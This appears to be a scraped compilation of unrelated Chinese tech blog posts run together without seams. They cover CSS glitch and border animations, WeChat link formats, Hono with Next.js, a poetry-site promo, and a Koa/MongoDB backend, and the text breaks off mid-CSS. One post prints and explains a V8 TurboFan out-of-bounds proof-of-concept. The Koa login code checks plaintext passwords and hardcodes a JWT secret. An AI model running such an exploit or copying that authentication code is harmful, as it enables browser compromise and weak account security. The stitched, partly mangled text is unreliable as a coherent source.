起因

最近公司事情不是太多，我趁着这段时间在网上学习一些Cool~的效果。今天我想和大家分享一个故障时钟的效果。很多时候，一个效果开始看起来很难，但是当你一步步摸索之后，就会发现其实它们只是由一些简单的效果组合而成的。

什么是故障效果(Glitch)

"glitch" 效果是一种模拟数字图像或视频信号中出现的失真、干扰或故障的视觉效果。它通常表现为图像的一部分或整体闪烁、抖动、扭曲、重叠或变形。这种效果常常被用来传达技术故障、数字崩溃、未来主义、复古风格等主题，也经常在艺术作品、音乐视频、电影、广告和网页设计中使用。Glitch 效果通常通过调整图像、视频或音频的编码、解码或播放过程中的参数来实现。 来自ChatGPT

可以看到关键的表现为一部分或整体闪烁、抖动、扭曲、重叠或变形，所以我们应该重点关注用CSS实现整体闪烁、抖动、扭曲、重叠或变形

CSS 实现闪烁

Glitch 闪烁通常是指图像或视频中出现的突然的、不规则的、瞬间的明暗变化或闪烁效果

那么我们有没有办法通过CSS来实现上述的效果，答案是通过随机不规则的clip-path来实现！

我们先来看看clip-path的定义与用法

clip-path CSS 属性使用裁剪方式创建元素的可显示区域。区域内的部分显示，区域外的隐藏。

/* <basic-shape> values */

clip-path: inset(100px 50px);

clip-path: circle(50px at 0 100px);

clip-path: ellipse(50px 60px at 0 10% 20%);

clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);

clip-path: path(

  "M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z"

);

再想想所谓的Glitch故障闪烁时的效果是不是就是部分画面被切掉了~

span {  

    display: block;  

    position: relative;  

    font-size: 128px;  

    line-height: 1;  

    animation: clock 1s infinite linear alternate-reverse;  

}



@keyframes clock {  

0%{  

    clip-path: inset(0px 0px calc(100% - 10px) 0);  

}  

100%{  

    clip-path: inset(calc(100% - 10px) 0px 0px 0);  

}  

}

此时的效果如下:

啥啥啥，这看着是什么呀根本不像闪烁效果嘛，先别急，想想我们闪烁效果的定义突然的、不规则的、瞬间的明暗变化,此时因为我们是在切割整体元素，如果我们再后面再重叠一个正常元素！

span {  



    display: block;  

    position: relative;  

    font-size: 128px;  

    line-height: 1;  

    //animation: clock 1s infinite linear alternate-reverse;  

  

    &:before{  

        display: block;  

        content: attr(data-time);  

        position: absolute;  

        top: 0;  

        color: $txt-color;  

        background: $bg-color;  

        overflow: hidden;  

        width: 720px;  

        height: 128px;  

    }  

  

    &:before {  

        left: -2px;  

        animation: c2 1s infinite linear alternate-reverse;  

    }  

  

}



@keyframes c2 {  

    0%{  

        clip-path: inset(0px 0px calc(100% - 10px) 0);  

    }  

    100%{  

        clip-path: inset(calc(100% - 10px) 0px 0px 0);  

    }  

}

可以看到通过手动偏移了-2px后然后不断剪裁元素已经有了一定的闪烁效果，但是目前的闪烁效果过于呆滞死板，我们通过scss的随机函数优化一下效果。

@keyframes c2 {  

    @for $i from 0 through 20 {  

        #{percentage($i / 20)} {  

            $y1: random(100);  

            $y2: random(100);  

            clip-path: polygon(0% $y1 * 1px, 100% $y1 * 1px, 100% $y2 * 1px, 0% $y2 * 1px); 

        }  

    }  

    23% {  

        transform: scaleX(0.8);  

    }  

}

此时效果如下

可以看到闪烁的效果已经很强烈了,我们依葫芦画瓢再叠加一个元素上去使得故障效果再强烈一些。

span {  

    display: block;  

    position: relative;  

    font-size: 128px;  

    line-height: 1;  



    &:before,  

    &:after {  

        display: block;  

        content: attr(data-time);  

        position: absolute;  

        top: 0;  

        color: $txt-color;  

        background: $bg-color;  

        overflow: hidden;  

        width: 720px;  

        height: 128px;  

    }  



    &:before {  

        left: calc(-#{$offset-c2});  

        text-shadow: #{$lay-c2} 0 #{$color-c2};  

        animation: c2 1s infinite linear alternate-reverse;  

    }  



    &:after {  

        left: #{$offset-c1};  

        text-shadow: calc(-#{$lay-c1}) 0 #{$color-c1};  

        animation: c1 2s infinite linear alternate-reverse;  

    }  

}

此时我们已经通过:before和:after叠加了相同的元素并且一个设置蓝色一个设置红色，让故障效果更真实！

CSS 实现扭曲效果

上述的效果已经非常贴近我们传统意义上理解的Glitch效果了，但是还差了一点就是通常表现为图像的一部分或整体闪烁、抖动、扭曲、重叠或变形中的扭曲和变形,碰巧的是CSS实现这个效果非常容易，来看看~

skewX()  函数定义了一个转换，该转换将元素倾斜到二维平面上的水平方向。它的结果是一个<transform-function>数据类型。

Cool~最后一块拼图也被补上了~~

@keyframes is-off {  

    0%, 50%, 80%, 85% {  

        opacity: 1;  

    }  

    56%, 57%, 81%, 84% {  

        opacity: 0;  

    }  

    58% {  

        opacity: 1;  

    }  

    71%, 73% {  

        transform: scaleY(1) skewX(0deg);  

    }  

    72% {  

        transform: scaleY(3) skewX(-60deg);  

    }  

    91%, 93% {  

        transform: scaleX(1) scaleY(1) skewX(0deg);  

        color: $txt-color;  

    }  

    92% {  

        transform: scaleX(1.5) scaleY(0.2) skewX(80deg);  

        color: green;  

    }  

}

来看看完整的效果和代码吧！

结语

春风若有怜花意，可否许我再少年。

感谢
Glitch Clock

一、微信内部点击链接

微信公众号主页链接：

https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=XXX#wechat_redirect

1.1 action

action 代表当前路径前端框架的哪个页面

• home：当前路径前端框架首页

1.2 __biz

__biz 代表微信公众号 ID

1.2.1 __biz 的获取方式

1. 在网页中打开该公众号的任意一篇推文 ➡️ 右击鼠标选择检查 ➡️ 在元素下搜素__biz
    

org:url 表示当前内容链接

2. 从公众平台进入公众号 ➡️ 公众号设置页，右键打开检查 ➡️ 搜索 uin_base64

二、微信外部点击链接

目前微信官方没有提供相应的功能，但是有的第三方平台可以实现，比如天天外链

但是需要注意，配置的网页地址不能是公众号首页或关注页，必须是永久公众号文章链接。

作者：南殇
来源：juejin.cn/post/7216518492613656636

import { Hono } from 'hono'

import { handle } from 'hono/vercel'



const app = new Hono().basePath('/api')



app.get('/hello', (c) => {

  return c.json({

    message: 'Hello Next.js!',

  })

})



export const GET = handle(app)

export const POST = handle(app)

export const PUT = handle(app)

export const DELETE = handle(app)

import { z } from 'zod'

import { zValidator } from '@hono/zod-validator'

import { Hono } from 'hono'



const paramSchema = z.object({

  id: z.string().cuid(),

})



const jsonSchema = z.object({

  status: z.boolean(),

})



const app = new Hono().put(

  '/users/:id',

  zValidator('param', paramSchema),

  zValidator('json', jsonSchema),

  (c) => {

    const { id } = c.req.valid('param')

    const { status } = c.req.valid('json')



    // 逻辑代码...



    return c.json({})

  },

)



export default app

   if (!result.success) {

-    return c.json(result, 400)

   }



   if (!result.success) {

+    throw result.error

   }

import { z } from 'zod'

import type { Context } from 'hono'

import { HTTPException } from 'hono/http-exception'



export function handleError(err: Error, c: Context): Response {

  if (err instanceof z.ZodError) {

    const firstError = err.errors[0]



    return c.json(

      { code: 422, message: `\`${firstError.path}\`: ${firstError.message}` },

      422,

    )

  }



  // handle other error, e.g. ApiError



  return c.json(

    {

      code: 500,

      message: '出了点问题, 请稍后再试。',

    },

    { status: 500 },

  )

}

3. 在 server/api/index.ts ，也就是 hono app 对象中绑定错误捕获。

const app = new Hono().basePath('/api')



app.onError(handleError)

4. 更改 zValidator 导入路径。

- import { zValidator } from '@hono/zod-validator'



+ import { zValidator } from '@/server/api/validator'

这样就将错误统一处理，且后续自定义业务错误也同样如此。

:::note 顺带一提

如果需要让 zod 支持中文错误提示，可以使用 zod-i18n-map

:::

RPC

Hono 有个特性我很喜欢也很好用，可以像 TRPC 那样，导出一个 client 供前端直接调用，省去编写前端 api 调用代码以及对应的类型。

这里我不想在过多叙述 RPC(可见我之前所写有关 TRPC 的使用)，直接来说说有哪些注意点。

链式调用

还是以 User CRUD 的代码为例，不难发现 .get .post .put 都是以链式调用的写法来写的，一旦拆分后，此时接口还是能够调用，但这将会丢失此时路由对应的类型，导致 client 无法使用获取正常类型，使用链式调用的 app 实例化对象则正常。

替换原生 Fetch 库

hono 自带的 fetch 或者说原生的 fetch 非常难用，为了针对业务错误统一处理，因此需要选用请求库来替换，这里我的选择是 ky，因为他的写法相对原生 fetch 更友好一些，并且不会破坏 hono 原有类型推导。

在 lib/api-client.ts 编写以下代码

import { AppType } from '@/server/api'

import { hc } from 'hono/client'

import ky from 'ky'



const baseUrl =

  process.env.NODE_ENV === 'development'

    ? 'http://localhost:3000'

    : process.env.NEXT_PUBLIC_APP_URL!



export const fetch = ky.extend({

  hooks: {

    afterResponse: [

      async (_, __, response: Response) => {

        if (response.ok) {

          return response

        } else {

          throw await response.json()

        }

      },

    ],

  },

})



export const client = hc<AppType>(baseUrl, {

  fetch: fetch,

})

这里我是根据请求状态码来判断本次请求是否为异常，因此使用 response.ok，而响应体正好有 message 字段可直接用作 Error message 提示，这样就完成了前端请求异常处理。

至于说请求前自动添加协议头、请求后的数据转换，这就属于老生常谈的东西了，这里就不多赘述，根据实际需求编写即可。

请求体与响应体的类型推导

配合 react-query 可以更好的获取类型安全。此写法与 tRPC 十分相似，相应代码 → Inferring Types

// hooks/users/use-user-create.ts



import { client } from '@/lib/api-client'

import { InferRequestType, InferResponseType } from 'hono/client'

import { useMutation } from '@tanstack/react-query'

import { toast } from 'sonner'

const $post = client.api.users.$post



type BodyType = InferRequestType<typeof $post>['json']



type ResponseType = InferResponseType<typeof $post>['data']



export const useUserCreate = () => {

  return useMutation<ResponseType, Error, BodyType>({

    mutationKey: ['create-user'],

    mutationFn: async (json) => {

      const { data } = await (await $post({ json })).json()



      return data

    },

    onSuccess: (data) => {

      toast.success('User created successfully')

    },

    onError: (error) => {

      toast.error(error.message)

    },

  })

}

在 app/users/page.tsx 中的使用

'use client'



import { useUserCreate } from '@/features/users/use-user-create'



export default function UsersPage() {

  const { mutate, isPending } = useUserCreate()



  const handleSubmit = (e: React.FormEvent) => {

    e.preventDefault()

    const formData = new FormData(e.currentTarget)

    const name = formData.get('name') as string

    const email = formData.get('email') as string

    mutate({ name, email })

  }



  return (

    <form onSubmit={handleSubmit}>

      <div>

        <label htmlFor='name'>Name:label>

        <input type='text' id='name' name='name' />

      div>

      <div>

        <label htmlFor='email'>Email:label>

        <input type='email' id='email' name='email' />

      div>

      <button type='submit' disabled={isPending}>

        Create User

      button>

    form>

  )

}

OpenAPI 文档

这部分我已经弃坑了，没找到一个很好的方式为 Hono 写 OpenAPI 文档。不过对于 TS 全栈开发者，似乎也没必要编写 API 文档（接口自给自足），更何况还有 RPC 这样的黑科技，不担心接口的请求参数与响应接口。

如果你真要写，那我说说几个我遇到的坑，也是我弃坑的原因。

首先就是写法上，你需要将所有的 Hono 替换成 OpenAPIHono (来自 @hono/zod-openapi， 其中 zod 实例 z 也是)。以下是官方的示例代码，我将其整合到一个文件内

import { createRoute, OpenAPIHono, z } from '@hono/zod-openapi'

import { swaggerUI } from '@hono/swagger-ui'



const app = new OpenAPIHono()



const ParamsSchema = z.object({

  id: z

    .string()

    .min(3)

    .openapi({

      param: {

        name: 'id',

        in: 'path',

      },

      example: '123',

    }),

})



const UserSchema = z

  .object({

    id: z.string().openapi({ example: '123' }),

    name: z.string().openapi({ example: 'John Doe' }),

  })

  .openapi('User')



const route = createRoute({

  method: 'get',

  path: '/api/users/{id}',

  request: {

    params: ParamsSchema,

  },

  responses: {

    200: {

      content: {

        'application/json': {

          schema: UserSchema,

        },

      },

      description: 'Retrieve the user',

    },

  },

})



app.openapi(route, async (c) => {

  const { id } = c.req.valid('param')



  // 逻辑代码...

  const user = {

    id,

    name: 'Ultra-man',

  }



  return c.json(user)

})

从上述代码的可读性来看，第一眼你很难看到清晰的看出这个接口到底是什么请求方法、请求路径，并且在写法上需要使用 .openapi 方法，传入一个由 createRoute 所创建的 router 对象。并且写法上不是在原有基础上扩展，已有的代码想要通过代码优先的方式来编写 OpenAPI 文档将要花费不小的工程，这也是我为何不推荐的原因。

定义完接口(路由)之后，只需要通过 app.doc 方法与 swaggerUI 函数，访问 /api/doc 查看 OpenAPI 的 JSON 数据，以及访问 /api/ui 查看 Swagger 界面。

import { swaggerUI } from '@hono/swagger-ui'



app.doc('/api/doc', {

  openapi: '3.0.0',

  info: {

    version: '1.0.0',

    title: 'Demo API',

  },

})



app.get('/api/ui', swaggerUI({ url: '/api/doc' }))

从目前来看，OpenAPI 文档的生成仍面临挑战。我们期待 Hono 未来能推出一个功能，可以根据 app 下的路由自动生成接口文档（相关Issue已存在）。

仓库地址

附上本文中示例 demo 仓库链接（这个项目就不搞线上访问了）

github.com/kuizuo/next…

后记

其实我还想写写 Auth、DB 这些服务集成的(这些都在我实际工作中实践并应用了)，或许是太久未写 Blog 导致手生了不少，这篇文章也是断断续续写了好几天。后续我将会出一版完整的我个人的 Nextjs 与 Hono 的最佳实践模版。

也说说我为什么会选用 Hono.js 作为后端服务, 其实就是 Next.js 的 API Route 实在是太难用了，加之轻量化，你完全可以将整个 Nextjs + Hono 服务部署在 Vercel 上，并且还能用上 Edge Functions 的特性。(就是有点小贵)

但不过从我的 Nest.js 开发经验来看（也可能是习惯了 Spring Boot 那套三层架构开发形态），总觉得 Hono 差了点意思，说不出来的体验，可能这就是所谓的全栈框架的开发感受吧。

大家好，我是 Java陈序员。

之前，给大家推荐过一个古诗文起名工具，利用古诗文进行起名。

一个古诗文起名工具

今天，给大家介绍一个现代化诗词学习网站，完美适用于自身、孩子学习背诵古诗词！

关注微信公众号：【Java陈序员】，获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。

项目介绍

aspoem —— 现代化诗词学习网站，一个更加注重UI和阅读体验的诗词网站。收集了丰富的诗词资源，用户可以通过作者、诗词、名句快速查找诗词。

功能特色：

• 提供丰富的中国古典诗词资源


• 提供诗词欣赏与学习、拼音标注、注释和白话文翻译


• 提供全站搜索、诗人及词牌名索引以及标签系统方便查找相关主题诗词


• 界面友好，便于用户使用，支持暗黑模式和多种主题


• 注重移动端的适配，支持 PC 和手机端访问

技术栈：

• React


• Next


• Tailwind CSS


• PostgreSQL

项目体验

诗词

丰富的诗词：aspoem 目前已经收集了 6000+ 首诗词。

诗词鉴赏：提供拼音标注、注释和白话文等的展示方式，使诗词更加易于阅读。

摘抄卡片：提供高清大图，支持免费下载。

诗人

海量的诗人：aspoem 目前汇总了 700+ 个诗人、词人。

诗人介绍：提供诗人介绍，以及创作的诗词，方便有针对性的学习。

词牌名&标签&片段

词牌名：收集了多种多样的词牌名，并汇总对应的诗词。

标签：按照近体诗、书籍、诗经、节日、情感等分类进行打标签，方便检索查询。

片段：摘抄经典的名片诗句、词句。

其他功能

检索查询：查找诗人、诗词、名句。

暗黑模式

多种主题

适配移动端

本地运行

前期准备

1、下载代码

git clone https://github.com/meetqy/aspoem.git

2、复制一份 .env.example 并重命名为 .env

aspoem 提供了是否集成 PostgreSQL 两种版本，可自行挑选。

集成 PostgreSQL

1、修改配置文件 .env 中的 PostgreSQL 连接信息

# 后台操作需要的 Token，  http://localhost:3000/create?token=v0

TOKEN="v0"



# 本地

POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"

POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"



# 统计相关 没有可不填 不会加载对应的代码

# google analytics id

NEXT_PUBLIC_GA_ID="G-PYEC5EG749"



# microsoft-clarity-id

NEXT_PUBLIC_MC_ID="ksel7bmi48"

2、安装依赖

pnpm install

3、启动项目

pnpm run dev

4、浏览器访问 http://localhost:3000

不集成 PostgreSQL

1、修改 .env

POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"

POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"

改为

POSTGRES_PRISMA_URL="file:./db.sqlite"

POSTGRES_URL_NON_POOLING="file:./db.sqlite"

2、修改 prisma/schema.prisma 中的

datasource db {

    provider  = "postgresql"

    url       = env("POSTGRES_PRISMA_URL")

    directUrl = env("POSTGRES_URL_NON_POOLING")

}

改为

datasource db {

    provider  = "sqlite"

    url       = env("POSTGRES_PRISMA_URL")

    directUrl = env("POSTGRES_URL_NON_POOLING")

}

3、将 prisma/sample.sqlite 改为 db.sqlite

4、安装依赖并启动，推荐使用 pnpm

pnpm i

pnpm db:push

pnpm dev

Docker 部署

aspoem 项目提供 Dockerfile 和 docker-compose.yml 文件。Dockfile 用于构建 aspoem 服务镜像，docker-compose.yml 用于启动 aspoem 和一个 PostgresSQl.

执行以下命令，一键启动项目：

cd aspoem

docker compose up

aspoem 一个致力于分享诗词的平台，为用户提供了一个良好的诗词阅读体验！对于喜欢中国诗词的朋友们来说，真的是一个宝藏。它不仅资源丰富，而且界面简洁，使用起来非常友好。大家快去体验吧~

项目地址：https://github.com/meetqy/aspoem

最后

推荐的开源项目已经收录到 GitHub 项目，欢迎 Star：

https://github.com/chenyl8848/great-open-source-project

或者访问网站，进行在线浏览：

https://chencoding.top:8090/#/

大家的点赞、收藏和评论都是对作者的支持，如文章对你有帮助还请点赞转发支持下，谢谢！

近期，Chrome 又爆出了一个惊天漏洞，其内部的 JavaScript 引擎 V8 存在不恰当的实现让远程攻击者可以通过精心设计的 HTML 页面对堆损坏进行潜在的攻击。

前置知识

V8 引擎是 Google 开发的开源 JavaScript 引擎，最初是为 Chrome 浏览器设计的，现在也被 Node.js 和许多其他项目广泛使用。值得注意的是，从 2020 年开始，Edge 浏览器转而使用了 Chromium 项目，这意味着现在的 Microsoft Edge 浏览器确实使用 V8 引擎来执行 JavaScript 代码，与 Google Chrome 浏览器相同。

堆损坏（Heap Corruption）是一种常见的内存错误，发生在程序错误地操作堆内存时。堆是动态内存分配的区域，程序在运行时可以从堆中分配或释放内存。如果程序不正确地处理这些操作，就可能导致堆损坏。攻击者可能利用堆损坏来执行任意代码，这是许多安全攻击的基础。

漏洞信息

该漏洞已经在新版本的 Chrome 和 Edge 修复，可以更新至最新版本预防该威胁。

漏洞分析

以下是为 ARM64 设备设计的漏洞利用原型，用于触发该漏洞：

var arrx = new Array(150);

arrx[0] = 1.1;

var fake = new Uint32Array(10);

fake[0]= 1;

fake[1] =3;

fake[2]=2;

fake[3] = 4;

fake[4] = 5;

fake[5] = 6;

fake[6] = 7;

fake[7] = 8;

fake[8] = 9;

var tahir = 0x1;

function poc(a) {

  var oob_array = new Array(5);

  oob_array[0] = 0x500;

  let just_a_variable = fake[0];

  let another_variable3 = fake[7];

  if(a % 7 == 0)

    another_variable3 = 0xff00000000; //spray high bytes

  another_variable3 = Math.max(another_variable3,tahir);

  another_variable3 = another_variable3 >>> 0;

  var index = fake[3];

  var for_phi_modes = fake[6];

  let c = fake[1];

  //giant loop for generate cyclic graph

  for(var i =0;i<10;i++) {

    if( a % 3 == 0){

      just_a_variable = c;

    }

    if( a % 37 == 0) {

      just_a_variable = fake[2];

    }

    if( a % 11 == 0){

      just_a_variable = fake[8];

    }

    if( a % 17 == 0){

      just_a_variable = fake[5];

    }

    if( a % 19 == 0){

      just_a_variable = fake[4];

    }

    if( a % 7 == 0 && i>=5){

      for_phi_modes = just_a_variable;

      just_a_variable = another_variable3;

    }

    if(i>=6){

      for(let j=0;j<5;j++){

        if(a % 5 == 0) {

          index = for_phi_modes;

          oob_array[index] = 0x500; //zero extends before getting value

        }

      }

    }

    for_phi_modes = c;

    c = just_a_variable;

  }

  //zero extend

  return [index,BigInt(just_a_variable)];

}

for(let i = 2; i<0x500;i++) {

  poc(i); //compile using turbofan

}

poc(7*5);

通过复杂的数组操作和循环逻辑，企图达到越界访问或者修改内存的目的，从而可能实现任意代码执行。脚本的核心部分是利用 TurboFan 编译器优化的特性，通过特定的数据操作来破坏内存结构。

代码分析

首先代码对如下几个变量进行了初始化，分别为：

• arrx 是一个长度为 150 的数组，初始化第一个元素为 1.1。


• fake 是一个长度为 10 的 Uint32Array，用于存储一系列整数。


• tahir 是一个十六进制的整数值 0x1。

然后就是函数部分，包含了复杂的逻辑和条件判断，主要用于操作和修改 oob_array 和 fake 数组的元素。主要有以下几点信息：

• oob_array 是一个长度为 5 的数组，用于存储操作结果。


• 函数内部使用了多个局部变量来从 fake 数组中读取数据，并根据输入参数 a 的不同值改变这些数据。


• 特别是在 a % 5 == 0 的条件下，代码尝试访问 oob_array[index]，其中 index 是从 fake 数组中获取的。这可能导致越界访问，因为 index 的值可能超出 oob_array 的索引范围。

最后就是通过多次调用 poc 函数，并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中，编译器可能未能处理好边界条件，导致安全问题。

关键点

• TurboFan 编译器优化：TurboFan 是 V8 引擎中的优化编译器，通过频繁调用 poc 函数，脚本试图诱导 TurboFan 生成的代码在边界检查上产生漏洞，从而实现越界访问或写入。


• 内存破坏：通过复杂的条件控制流，脚本试图创建出一种可以操纵内存指针的情况（如 index 和 for_phi_modes），从而进行越界写入，可能导致内存破坏，进一步用于任意代码执行。


• 条件分支与循环：脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作，可能意在规避一些简单的防护机制，并诱导编译器优化过程中出现漏洞。

背景与思考

前端在很多后端开发人员中，总是觉得没啥技术含量。尤其是在老java眼中，深深感觉存在严重的鄙视链。然后就是自己的职业规划，也不想一直做前端敲代码。毕竟自己的付出不少，也想收获属于自己的成就感。然后自己的横向发展就成了必然。

后端技术首推Node

Node框架推荐Koa

学习推荐

我当初学习也是想看了一下官网，发现确实如介绍般的简单，但是对于入门者来说，有点简单的过分了。在此推荐阮一峰老师的网络日志（不是打广告，确实是我当初前端起步阶段的老师之一，受益匪浅）。

主要代码解析

项目结构

app.js源码

const Koa = require('koa');

const Router = require('koa-router');



// 跨域模块

var cors = require('koa2-cors');

//文件模块

const fs = require('fs');



const { historyApiFallback } = require('koa2-connect-history-api-fallback');

//静态文件加载

const serve = require('koa-static');

//路径管理

const path = require('path');



//koa-body对文件上传进行配置

const koaBody = require('koa-body')



//实例化koa

const app = new Koa();



app.use(historyApiFallback());



app.use(cors());

const router = new Router();

const bodyParser = require('koa-bodyparser');

const controller = require('./controller');

app.use(async (ctx, next) => {

  ctx.set("Access-Control-Allow-Origin", "*")

  await next()

})

app.use(bodyParser());

// 处理跨域



app.use(controller());



app.use(koaBody({

	multipart:true,

	formidable:{

		maxFileSize:50000*1024*1024, //设置上传文件大小最大限制，默认为2m，2000*1024*1024

		keepExtensions: true // 保留文件拓展名

	}

}))





// 1.主页静态网页 把静态页统一放到public中管理

const main = serve(path.join(__dirname) + '/build');



//配置路由

app.use(router.routes()).use(router.allowedMethods());



const port = 5000;

app.use(main)



app.listen(port, () => {

	console.log(`server started on ${port}`)

});

依赖包讲解

const Koa = require('koa');

这是引入koa框架，这是重中之重，只有引入了才能够在项目中使用。在项目中会通过new来实例化，比如代码中的const app = new Koa();。然后再定义一个监听的端口，app.listen()方法来进行监听。

const fs = require('fs');

这是koa自带的文件模块，如果你想对系统文件进行读取，修改。或者文件上传保存，都离不开整个fs模块，fs.readFile和fs.readFileSync。

const koaBody = require('koa-body')

Koa-body是基于Koa的中间件模型构建的，主要用于文件上传，以及在中间件中对请求体的解析。对请求体的解析中，我们主要使用koa-bodyparser，它可以将http请求中的数据，解析成我们需要的JavaScript对象。

const Router = require('koa-router');

```门口

Router模块就是路由，此路由和前端路由有差异，此路由可以理解为前端理解的api接口，只是叫法不一样而已。



```js

const { historyApiFallback } = require('koa2-connect-history-api-fallback');

koa2-connect-history-api-fallback是一个专门为 Koa2 框架设计的中间件，它的主要目的是在SPA应用中处理URL重定向，尤其是在用户直接输入或者通过后退按钮访问非根URL时。 这个中间件会将所有未匹配到特定路由的请求转发到默认HTML文件（通常是 index.html），确保SPA可以正常启动并处理路由。还记得当初自己终于完成了一整套的项目线上部署，可把自己开心坏了，但是同事在一次用着发现，刷新页面时，页面直接变成了404，你说吓不吓人。盘查一下发现自己在vue前端中的路由为何在后端中变成了一个get请求。

controller.js源码

const fs = require('fs')



// add url-route in /controllers:



function addMapping (router, mapping) {

  for (var url in mapping) {

    if (url.startsWith('GET ')) {

      var path = url.substring(4)

      router.get(path, mapping[url])

      // console.log(`register URL mapping: GET ${path}`);

    } else if (url.startsWith('POST ')) {

      var path = url.substring(5)

      router.post(path, mapping[url])

      // console.log(`register URL mapping: POST ${path}`);

    } else if (url.startsWith('PUT ')) {

      var path = url.substring(4)

      router.put(path, mapping[url])

      // console.log(`register URL mapping: PUT ${path}`);

    } else if (url.startsWith('DELETE ')) {

      var path = url.substring(7)

      router.del(path, mapping[url])

      // console.log(`register URL mapping: DELETE ${path}`);

    } else {

      // console.log(`invalid URL: ${url}`);

    }

  }

}



function addControllers (router, dir) {

  fs.readdirSync(__dirname + '/' + dir)

    .filter(f => {

      return f.endsWith('.js')

    })

    .forEach(f => {

      // console.log(`process controller: ${f}...`);

      let mapping = require(__dirname + '/' + dir + '/' + f)

      addMapping(router, mapping)

    })

}



module.exports = function (dir) {

  let controllers_dir = dir || 'controllers',

    router = require('koa-router')()

  addControllers(router, controllers_dir)

  return router.routes`()`

}

controller讲解

在这个controller中，我们主要做了一件事，那就是路由映射逻辑处理。

function addControllers()

这个方法用于自动加载指定目录下的js文件，它使用fs.readdirSync读取目录，然后通过filter和forEach方法来处理每个文件名，只选择以.js结尾的文件，并将这些文件的路由映射添加到router上

function addMapping()

这个函数用于将HTTP方法（如GET、POST、PUT、DELETE）和对应的URL路径映射到处理函数上。它遍历传入的mapping对象，根据URL的前缀（如GET 、POST 等）来确定使用哪个HTTP方法，并将路径和处理函数注册到router上。

controllers下路由POST方法

const jwt = require('jsonwebtoken')

module.exports = {

  'POST /login': async (ctx, next) => {

    var key = ctx.request.body

    if (key.username && key.password) {

      return new Promise(function (resolve, reject) {

        var MongoClient = require('mongodb').MongoClient

        var MG_URL = 'mongodb://***********/'

        MongoClient.connect(

          MG_URL,

          { useUnifiedTopology: true },

          function (err, db) {

            if (err) throw err

            var dbo = db.db('website')

            dbo

              .collection('user')

              .find({ username: key.username, password: key.password })

              .toArray(function (err, result) {

                if (result.length) {

                  const TOKEN = jwt.sign(

                    {

                      name: result[0].username

                    },

                    'MY_TOKEN',

                    { expiresIn: '24h' }

                  )

                  let data = {

                    username: result[0].username,

                    token: TOKEN

                  }

                  ctx.response.body = {

                    result: 1,

                    status: 200,

                    code: 200,

                    data: data

                  }

                } else {

                  ctx.response.body = {

                    result: 0,

                    status: 200,

                    code: 0,

                    msg: '该用户不存在'

                  }

                }



                if (err) throw err

                resolve(result)

                db.close()

              })

          }

        )

      })

    } else {

      ctx.response.body = {

        result: 0,

        status: 200,

        code: 0,

        msg: 'error'

      }

    }

  }

}

这是一个登录的login方法，用POST进行请求。在这个地方用了一下mongodb数据库存储。在api接口请求login方法时，获取请求中所携带的参数进行解析，并判断此用户以及密码是否在我们的数据库中，如果存在返回成功的提示以及相关数据，如果错误，则提示错误。当然如果还不会数据库的使用，可以去除数据库相关部分，直接用本地json数据，这个比较简单，就是fs读取本地json文件，然后返回给api接口。不在此做详细说明。

controllers下路由GET方法

module.exports = {

  'GET /getNews': async (ctx, next) => {

    return new Promise(function (resolve, reject) {

      var MongoClient = require('mongodb').MongoClient

      var MG_URL = 'mongodb://********'

      MongoClient.connect(

        MG_URL,

        { useUnifiedTopology: true },

        function (err, db) {

          if (err) throw err

          var dbo = db.db('website')

          dbo

            .collection('news')

            .find({})

            .toArray(function (err, result) {

              if (result.length) {

                ctx.response.body = {

                  result: 1,

                  status: 200,

                  code: 1,

                  data: result

                }

              } else {

                ctx.response.body = {

                  result: 0,

                  status: 200,

                  code: 0,

                  msg: '暂无数据'

                }

              }

              if (err) throw err

              resolve(result)

              db.close()

            })

        }

      )

    })

  }

}

这是一个获取新闻的getNews方法，用GET请求。主要用来查询数据库中的list的信息。DELETE，PUT等方法不在此处贴出更多源码。

数据库首推mondodb

学习推荐

为啥选择MongoDB数据库，相对来说操作还是比较简单，而且存储的数据类型都是对象的形式，前端可以轻松拿捏。在这里直接推荐菜鸟的mongodb教程，看名字就知道，这是一个适合菜鸟初步学习的地方。讲解也比较详细，学完上面的内容，用mongodb数据库进行基本的数据存储和操作已经没有问题了。

总结

通过以上的分享，其实对大多数前端来说，开启一个简单的后端服务和接口请求，已经可以开箱即用了。想要完整的学习代码，也可以私信我。虽然不是很完善，但麻雀虽小五脏俱全。

思考

在前端行业已经接7载。曾经害怕java的恐惧而转入前端行业，所有受到鄙视也是有一部分原因吧，毕竟自己曾经年少无知，害怕吃苦选择了一个稍微简单的前端就稀里糊涂的就业了，保命要紧。但是在后来又想改变这个鄙视链，自己就开始了nodejs的学习，python的学习，数据库MongoDB，MySQL，PostgreSQL。学不完，压根学不完。
后面再无尽的内卷中，有的做开发不是自己的路，也想做做管理，毕竟前端做到前端组长就已经是极限了，在公司以java为尊的环境下，想做更高的级别几乎不可能。毕竟自己算是耿直死宅，不善交际，讨不到大领导的喜爱。然后又开始了原型的学习，PMP项目管理证书的考取（进行中），也曾有单独出去做产品的想法，面试过一个，但是与自己的预期薪资相差太大，没去。

在刷抖音的时候，发现有一个直播的专属导航页签，切换到这个页签之后，刷出来的内容全都是直播，不过都是在“门外”观看，没有进入直播间；

短暂的停留之后，会出现一个自动进入直播间的提示，并且有一个描边动画，动画结束之后，就会进入直播间，今天我就尝试通过多种方式来实现这个动画效果。

1. 渐变实现

效果如上图所示，渐变需要使用到的是conic-gradient锥形渐变，文档地址：conic-gradient

代码如下：

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Title</title>

    <style>

        html,

        body {

            height: 100%;

            margin: 0;

        }



        body {

            display: flex;

            justify-content: center;

            align-items: center;

            background: linear-gradient(90deg, #1F1C2C 0%, #928DAB 100%);

            color: #fff;

        }



        .wrap {

            position: relative;

            background-color: rgba(255, 255, 255, 0.2);

            width: fit-content;

            padding: 10px 20px;

            border-radius: calc(1em + 10px);

        }



        /*使用自定义属性来控制进度*/

        @property --offset {

